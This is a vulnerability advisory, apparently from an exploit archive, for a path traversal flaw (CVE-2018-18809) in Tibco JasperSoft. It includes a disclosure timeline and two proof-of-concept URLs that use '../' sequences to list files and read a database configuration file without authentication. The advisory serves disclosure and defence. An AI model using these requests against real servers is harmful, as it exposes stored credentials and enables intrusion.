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Tibco JasperSoft Path Traversal

Tibco JasperSoft Path Traversal
Posted Sep 9, 2019
Authored by Elar Lang

Tibco JasperSoft suffers from a path traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2018-18809
MD5 | 62459214a2910a0ea52b25ecde2d21d8

Tibco JasperSoft Path Traversal

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Title: CVE-2018-18809 Path traversal in Tibco JasperSoft
Credit: Elar Lang / https://security.elarlang.eu
Vendor/Product: Tibco JasperSoft (https://www.jaspersoft.com/)
Vulnerability: Path traversal
CVE: CVE-2018-18809

# Path traversal
Vulnerability is in reportresource/reportresource/ service and in resource
parameter. There is "defence" - value for resource param must start with
net/sf/jasperreports/.

Available for remote not authenticated users.

## Proof-of-Concept
Reading file listing:
https://domain/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../

Reading file content (js.jdbc.properties as an example):
https://domain/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties

# List of Systems Affected, Related fixes and releases:
"TIBCO Security Advisory: March 6, 2019 - TIBCO JasperReports Library -
2018-18809"
https://www.tibco.com/support/advisories/2019/03/tibco-security-advisory-march-6-2019-tibco-jasperreports-library-2018-18809


# Vulnerability Disclosure Timeline

2018-10-15 | me > Tibco | Notification to security@tibco.com
2018-10-15 | Tibco > me | Thanks for PoC

2018-10-29 | me > Tibco | How is going? No fixes even for their own site.
2018-10-15 | Tibco > me | Explanation of policy that they threat everyone
equally and as no fix available for their customer, they can not fix their
own site also.

2019-01-11 | Tibco > me | Issue is still under investigation. Issue
discovery credits and publishing details coordination for future.
2019-01-11 | me > Tibco | Response, agreement with credits.

2019-03-06 | Tibco > me | "We published security advisories"
2019-03-06 | Tibco | "TIBCO Security Advisory: March 6, 2019 - TIBCO
JasperReports Library - 2018-18809"

2019-04-21 | me > Tibco | I'm going to write Full Disclosure, but your own
demo site is still vulnerable.
..
2019-04-26 | Tibco > me | Demo site fixed/updated now.

2019-09-07 | me | Full Disclosure on https://security.elarlang.eu

# More detailed description is available in blog:
https://security.elarlang.eu/cve-2018-18809-path-traversal-in-tibco-jaspersoft.html

--
Elar Lang
Blog @ https://security.elarlang.eu
Pentester, lecturer @ http://www.clarifiedsecurity.com


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